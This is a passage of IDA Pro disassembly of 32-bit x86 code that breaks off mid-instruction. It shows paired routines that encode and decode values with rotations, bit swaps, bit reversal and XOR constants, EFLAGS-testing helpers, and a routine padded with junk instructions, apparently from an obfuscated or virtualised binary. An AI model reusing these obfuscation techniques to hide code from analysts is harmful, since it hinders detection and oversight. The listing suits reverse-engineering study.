call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 17h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 15h push 8 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 18h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_494241 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4942D0 proc near ; CODE XREF: sub_4961D1+Dp ; sub_49C74A+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFE8h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 15h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE9h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Fh push 3 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE3h push 1 push 1Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0A48425Ah mov [ebp+arg_0], edx push 13h push 8 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 1D04DC3Bh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_4942D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494360 proc near ; CODE XREF: sub_49961E+D3p ; sub_49A102+14Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 68C88CD7h mov [ebp+arg_0], eax push 0Ch mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Dh push 4 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 11h push 8 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0C5EF9B47h mov [ebp+arg_0], ecx push 5 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 1 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 6 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Bh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 5 push 4 push 15h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0C91C232Bh mov [ebp+arg_0], ecx push 0 push 12h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Ah mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 9 push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Eh push 2 push 17h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 19h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 6 push 4 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 9 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 12h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 17h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Fh push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 3 push 0Ah mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 830759F3h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_494360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4944F6 proc near ; CODE XREF: sub_49961E+Dp ; sub_49A102+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 830759F3h mov [ebp+arg_0], eax push 3 push 0Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Fh push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE9h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 12h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF7h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 6 push 4 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE7h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFF2h push 2 push 17h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 9 push 5 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE6h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 12h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C91C232Bh mov [ebp+arg_0], eax push 0FFFFFFFBh push 4 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE5h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 8 push 6 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ch push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFBh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C5EF9B47h mov [ebp+arg_0], eax push 11h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Dh push 4 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF4h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 68C88CD7h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_4944F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49468A proc near ; CODE XREF: sub_498423+D7p ; sub_49850A+AEp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 505FBF72h mov [ebp+arg_0], eax push 1Bh push 2 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 2 push 1Dh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 1Ch mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 4 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 8 push 2 push 0Bh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 16h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 53C92B93h mov [ebp+arg_0], ecx push 4 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 19h push 3 push 1Ah mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 7 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 17h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 7 push 0Dh push 0Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49468A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49477C proc near ; CODE XREF: sub_498423+Dp ; sub_49850A+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFF9h push 0Dh push 0Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE9h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 7 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE7h push 3 push 1Ah mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFFCh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 53C92B93h mov [ebp+arg_0], edx push 16h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF8h push 2 push 0Bh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFFCh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 1Ch mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEEh push 2 push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Bh push 2 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 505FBF72h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49477C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49486E proc near ; CODE XREF: sub_4986BC+C6p ; sub_4997AD+185p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0ABD325F6h mov [ebp+arg_0], eax push 0 push 19h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 30673A26h mov [ebp+arg_0], eax push 2 push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 5 push 8 push 0Fh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Dh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 17h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 9 push 0 push 1Eh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C427EFE5h mov [ebp+arg_0], eax push 16h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 4 push 0Ch push 8 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 9 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Bh push 0Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ah push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0ACD06380h mov [ebp+arg_0], eax push 16h push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 2 push 2 push 1Ah mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 8 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49486E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4949C1 proc near ; CODE XREF: sub_4986BC+Dp ; sub_4997AD+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFF8h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFEh push 2 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 16h push 3 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0ACD06380h mov [ebp+arg_0], eax push 0Ah push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh push 0Ah mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF7h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFCh push 0Ch push 8 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 16h push 6 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C427EFE5h mov [ebp+arg_0], eax push 0FFFFFFF7h push 0 push 1Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 17h push 3 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE3h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFBh push 8 push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 2 push 1Dh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 30673A26h mov [ebp+arg_0], eax push 12h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 19h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0ABD325F6h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_4949C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494B14 proc near ; CODE XREF: sub_49512C+9Ep ; sub_4980E0+9Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 59E58FBh mov [ebp+arg_0], eax push 8 push 5 push 12h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 17h push 4 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 19h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 1 push 19h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 5 push 15h push 8 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Ch mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 1 push 4 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 17h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 12h push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0E1B9593Eh mov [ebp+arg_0], edx push 13h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 2 push 6 push 0Ah mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 8 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 2 push 14h push 3 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0EE6548DFh mov [ebp+arg_0], edx push 12h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_494B14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494C6D proc near ; CODE XREF: sub_49512C+Dp ; sub_4980E0+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 12h push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0EE6548DFh mov [ebp+arg_0], ecx push 0FFFFFFE3h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFEh push 14h push 3 mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF8h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFEh push 6 push 0Ah mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFEDh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0E1B9593Eh mov [ebp+arg_0], ecx push 12h push 5 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 17h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Bh push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 4 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE4h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFBh push 15h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 19h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE7h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 17h push 4 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF8h push 5 push 12h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 59E58FBh mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_494C6D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494DD0 proc near ; CODE XREF: sub_490FD0+4Dp ; sub_490FD0+89p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jge short loc_494DE2 mov eax, [ebp+arg_4] add eax, 20h mov [ebp+arg_4], eax loc_494DE2: ; CODE XREF: sub_494DD0+7j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] shr eax, cl mov ecx, 20h sub ecx, [ebp+arg_4] mov edx, [ebp+arg_0] shl edx, cl or eax, edx pop ebp retn sub_494DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494DFB proc near ; CODE XREF: sub_490FD0+CFp ; sub_491135+92p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_C], 0 jge short loc_494E10 mov eax, [ebp+arg_C] add eax, [ebp+arg_4] mov [ebp+arg_C], eax loc_494E10: ; CODE XREF: sub_494DFB+Aj mov edx, 1 mov ecx, [ebp+arg_4] shl edx, cl sub edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] shr eax, cl and eax, [ebp+var_8] mov [ebp+var_4], eax mov edx, [ebp+var_4] mov ecx, [ebp+arg_C] shr edx, cl mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_C] mov eax, [ebp+var_4] shl eax, cl or edx, eax and edx, [ebp+var_8] mov [ebp+var_4], edx mov edx, [ebp+var_8] mov ecx, [ebp+arg_8] shl edx, cl not edx mov eax, [ebp+arg_0] and eax, edx mov [ebp+arg_0], eax mov edx, [ebp+var_4] mov ecx, [ebp+arg_8] shl edx, cl mov eax, [ebp+arg_0] or eax, edx mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_494DFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494E72 proc near ; CODE XREF: sub_490FD0+16p ; sub_490FD0+3Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, 1 mov ecx, [ebp+arg_4] shl eax, cl sub eax, 1 mov [ebp+var_4], eax mov edx, [ebp+var_4] mov ecx, [ebp+arg_8] shl edx, cl mov [ebp+var_C], edx mov eax, [ebp+arg_0] and eax, [ebp+var_4] mov [ebp+var_10], eax mov edx, [ebp+arg_0] and edx, [ebp+var_C] mov ecx, [ebp+arg_8] shr edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_4] or eax, [ebp+var_C] not eax mov ecx, [ebp+arg_0] and ecx, eax mov [ebp+arg_0], ecx mov edx, [ebp+var_10] mov ecx, [ebp+arg_8] shl edx, cl or edx, [ebp+var_8] mov eax, [ebp+arg_0] or eax, edx mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_494E72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494ED4 proc near ; CODE XREF: sub_490FD0+29p ; sub_490FD0+6Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, 1 mov ecx, [ebp+arg_4] shl eax, cl sub eax, 1 mov ecx, [ebp+arg_8] shl eax, cl mov [ebp+var_10], eax mov ecx, [ebp+var_10] not ecx mov edx, [ebp+arg_0] and edx, ecx mov [ebp+var_4], edx mov eax, 1 mov ecx, [ebp+arg_8] shl eax, cl mov [ebp+var_C], eax mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] lea ecx, [edx+ecx-1] mov eax, 1 shl eax, cl mov [ebp+var_14], eax mov [ebp+var_8], 0 jmp short loc_494F2F ; --------------------------------------------------------------------------- loc_494F26: ; CODE XREF: sub_494ED4+86j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_494F2F: ; CODE XREF: sub_494ED4+50j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_494F5C mov eax, [ebp+arg_0] and eax, [ebp+var_C] test eax, eax jz short loc_494F4A mov ecx, [ebp+var_4] or ecx, [ebp+var_14] mov [ebp+var_4], ecx loc_494F4A: ; CODE XREF: sub_494ED4+6Bj mov edx, [ebp+var_C] shl edx, 1 mov [ebp+var_C], edx mov eax, [ebp+var_14] shr eax, 1 mov [ebp+var_14], eax jmp short loc_494F26 ; --------------------------------------------------------------------------- loc_494F5C: ; CODE XREF: sub_494ED4+61j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_494ED4 endp ; --------------------------------------------------------------------------- align 10h ; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 41h neg eax sbb eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 1 pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] and eax, 40h test eax, eax jnz short loc_494FCC mov ecx, [ebp+8] and ecx, 80h neg ecx sbb ecx, ecx inc ecx mov edx, [ebp+8] and edx, 800h neg edx sbb edx, edx inc edx cmp ecx, edx jnz short loc_494FCC mov dword ptr [ebp-4], 1 jmp short loc_494FD3 ; --------------------------------------------------------------------------- loc_494FCC: ; CODE XREF: .text:00494FA1j ; .text:00494FC1j mov dword ptr [ebp-4], 0 loc_494FD3: ; CODE XREF: .text:00494FCAj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 80h neg eax sbb eax, eax inc eax mov ecx, [ebp+8] and ecx, 800h neg ecx sbb ecx, ecx inc ecx xor edx, edx cmp eax, ecx setnz dl mov eax, edx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 800h neg eax sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 4 neg eax sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 80h neg eax sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 40h neg eax sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 41h neg eax sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 1 neg eax sbb eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] and eax, 40h test eax, eax jnz short loc_4950A3 mov ecx, [ebp+8] and ecx, 80h neg ecx sbb ecx, ecx inc ecx mov edx, [ebp+8] and edx, 800h neg edx sbb edx, edx inc edx cmp ecx, edx jnz short loc_4950A3 mov dword ptr [ebp-4], 0 jmp short loc_4950AA ; --------------------------------------------------------------------------- loc_4950A3: ; CODE XREF: .text:00495078j ; .text:00495098j mov dword ptr [ebp-4], 1 loc_4950AA: ; CODE XREF: .text:004950A1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 80h neg eax sbb eax, eax inc eax mov ecx, [ebp+8] and ecx, 800h neg ecx sbb ecx, ecx inc ecx xor edx, edx cmp eax, ecx setz dl mov eax, edx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 800h neg eax sbb eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 4 neg eax sbb eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 80h neg eax sbb eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 40h neg eax sbb eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax cmp dword ptr [ebp+0Ch], 0 setz al pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49512C proc near ; DATA XREF: sub_4965D8+11E5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4 not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc 